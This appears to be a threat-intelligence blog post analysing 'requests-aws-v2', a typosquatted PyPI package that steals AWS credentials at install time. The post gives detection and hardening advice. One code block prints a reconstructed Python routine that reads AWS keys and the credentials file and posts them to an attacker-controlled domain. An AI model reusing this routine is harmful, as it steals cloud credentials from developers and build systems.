Cloud Supply Chain Breach: Malicious PyPI Package Exfiltrates AWS Credentials

🛡️ Verified Threat IntelDigitalSpying Research Desk
📅 August 3, 2026⏱️ 5 min read

A targeted cloud supply-chain campaign has been discovered distributing a weaponized Python package via the official Python Package Index (PyPI). Designed to typosquat legitimate cloud utility libraries, the malicious package—identified as requests-aws-v2—leverages Python build-time execution hooks to silently harvest active Amazon Web Services (AWS) Identity and Access Management (IAM) credentials, local configuration profiles, and environment variables directly from developer workstations and automated CI/CD runners.

Threat Actor Strategy: Typosquatting and Dependency Confusion

Software supply chains represent high-value asymmetric targets for advanced persistent threats and cybercrime syndicates. By mimicking established open-source utilities like requests-aws and requests-aws4auth, the authors of requests-aws-v2 exploited common developer typing oversights and automated dependency resolution patterns.

The attackers registered the package under legitimate-looking author metadata, mimicking historical version tags and cloning the authentic project documentation into the package description. Once uploaded to the public PyPI index, search engine algorithms and automated dependency scrapers briefly indexed the library, exposing developers seeking AWS SigV4 request-signing helpers to silent exploitation.

Supply Chain Warning: Build-Time Execution Risks

Unlike runtime dependencies that require explicit import statements in application code, malicious Python packages can trigger arbitrary shell code the moment pip install executes by overloading custom commands inside setup.py or pip_build_hook.

Reverse Engineering the Malicious Execution Chain

Forensic inspection of the extracted distribution tarball reveals an intentionally multi-staged execution flow crafted to evade static package scanners and AST (Abstract Syntax Tree) linting engines:

  1. Installation Hook Hijacking: The root setup.py overrides the standard setuptools.command.install and setuptools.command.develop classes. When pip initiates build or wheel creation, Python invokes the overridden methods before writing package metadata to site-packages.
  2. Multi-Layer Obfuscation: The initial hook decodes an encrypted blob using a multi-byte XOR cipher followed by zlib decompression. The unpacked payload executes dynamically in-memory via exec(), avoiding writing binary artifacts directly to disk during the initial detonation phase.
  3. Credential Harvesting Subsystem: The script systematically enumerates host telemetry and cloud authentication artifacts across common operating systems:
    • Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, and AWS_SECURITY_TOKEN.
    • Disk configurations: Reads ~/.aws/credentials and ~/.aws/config on POSIX systems, and %USERPROFILE%\.aws\credentials on Windows hosts.
    • Cloud metadata services: Probes the local link-local address (http://169.254.169.254/latest/meta-data/iam/security-credentials/) to siphon instance profile credentials if run inside an AWS EC2 instance or container without IMDSv2 enforcement.
  4. Encrypted C2 Exfiltration: The captured credentials, hostname, active user identity, and operating system release details are assembled into a structured JSON envelope, encrypted using AES-256-GCM, and dispatched via an outbound HTTPS POST request to an attacker-controlled endpoint masked behind a reverse proxy.
# Deobfuscated Credential Siphon Routine (Reconstructed)
import os, json, urllib.request

def siphon_cloud_identities():
    env_keys = {k: os.environ.get(k) for k in ["AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN"] if os.environ.get(k)}
    aws_path = os.path.expanduser("~/.aws/credentials")
    file_creds = open(aws_path, "r").read() if os.path.exists(aws_path) else None
    payload = {"host": os.uname().nodename, "env": env_keys, "file": file_creds}
    req = urllib.request.Request("https://telemetry-gateway.internal-sync.net/api/v1/collect", data=json.dumps(payload).encode("utf-8"))
    req.add_header("Content-Type", "application/json")
    try: urllib.request.urlopen(req, timeout=3)
    except Exception: pass
Exploitation Metric Observed Mechanism Enterprise Risk Scope
Delivery Vector PyPI Typosquatting (requests-aws-v2) Developer Workstations & Build Pipelines
Execution Phase Build-time hook (setup.py subclassing) Immediate execution upon pip install
Target Artifacts IAM API Keys, Session Tokens, IMDS Profiles Cloud Infrastructure Takeover & S3 Exfiltration
Persistence Mechanism Cron / LaunchAgent & Registry Run Key Continuous Harvesting Across Profile Rotations

Blast Radius Analysis: From Workstation to Cloud Takeover

The exfiltration of long-lived AWS IAM credentials yields catastrophic consequences for enterprise infrastructure. Unlike ephemeral session tokens, long-lived access keys generated for developer CLI usage frequently possess excessive IAM permissions, such as unconstrained S3 bucket read/write, RDS snapshot creation, and EC2 instance provisioning.

Once armed with valid IAM access keys, threat actors can automate cloud enumeration using automated recon tools. Common post-exploitation playbooks observed in cloud intrusion forensics include:

  • CloudTrail Neutralization: Attempting to disable or modify logging trails via StopLogging or DeleteTrail API calls to obscure malicious actions.
  • Resource Monopolization: Provisioning GPU-accelerated EC2 instances (e.g., g5.12xlarge) across multi-region availability zones for unauthorized cryptocurrency computation.
  • Data Exfiltration: Synchronizing private S3 buckets containing database backups, customer records, and internal source code repositories to external attacker-owned AWS accounts.
  • Persistence Planting: Creating new backdoor IAM user accounts or assigning administrator access policies to existing non-privileged roles.

Detection Engineering and Forensic Cloud Hunting

Security operations centers (SOC) and cloud incident responders must correlate endpoint telemetry with cloud audit trails to rapidly uncover supply-chain compromises:

CloudTrail Anomaly Hunting: Monitor AWS CloudTrail for unexpected geographical logins or API calls emanating from IP addresses that deviate from corporate VPN ranges or known office CIDRs. Focus on calls originating from Python SDK user agents (such as Boto3 or aws-cli/2.*) that immediately query sensitive security APIs, such as iam:ListUsers, iam:ListRoles, and s3:ListBuckets.

Endpoint EDR Rules: Configure Endpoint Detection and Response (EDR) agents to detect Python interpreter processes (python, python3, pip) attempting to open handles to ~/.aws/credentials or initiating outbound network sockets to unapproved external domains immediately following process creation.

Strategic Remediation and Supply Chain Hardening

Neutralizing open-source dependency risks requires systemic policy changes across development lifecycles and cloud IAM governance:

  • Eliminate Long-Lived Developer Keys: Decommission static IAM access keys in favor of short-lived credentials federated through AWS IAM Identity Center (formerly AWS SSO) with mandatory multi-factor authentication (MFA). Ensure session lifespans do not exceed 1 to 4 hours.
  • Mandate Private Package Registries: Enforce the routing of all package installations through managed private proxies such as AWS CodeArtifact, Sonatype Nexus, or JFrog Artifactory. Prohibit direct developer access to public PyPI upstream repositories without upstream scanning and automated quarantine workflows.
  • Pin Cryptographic Hashes: Enforce strict dependency pinning using lockfiles that verify SHA-256 package hashes (e.g., pip install --require-hashes or Poetry/Pipenv lock manifests). This guarantees that modified or malicious upstream wheels cannot substitute legitimate packages.
  • Enforce IMDSv2 Across Cloud Compute: Require Instance Metadata Service Version 2 (IMDSv2) on all EC2 instances and container hosts with HttpTokens=required and HttpPutResponseHopLimit=1 to block unauthorized SSRF or local token extraction.
Classification:Cyber Security IntelligenceZero-Day AnalysisDefensive Engineering
🛡️

About the DigitalSpying Research Desk

The DigitalSpying Threat Intelligence Desk is composed of seasoned security researchers, reverse engineers, and blue team architects. Our mission is to publish reproducible, peer-audited threat analyses, hardware security evaluations, and defensive countermeasures.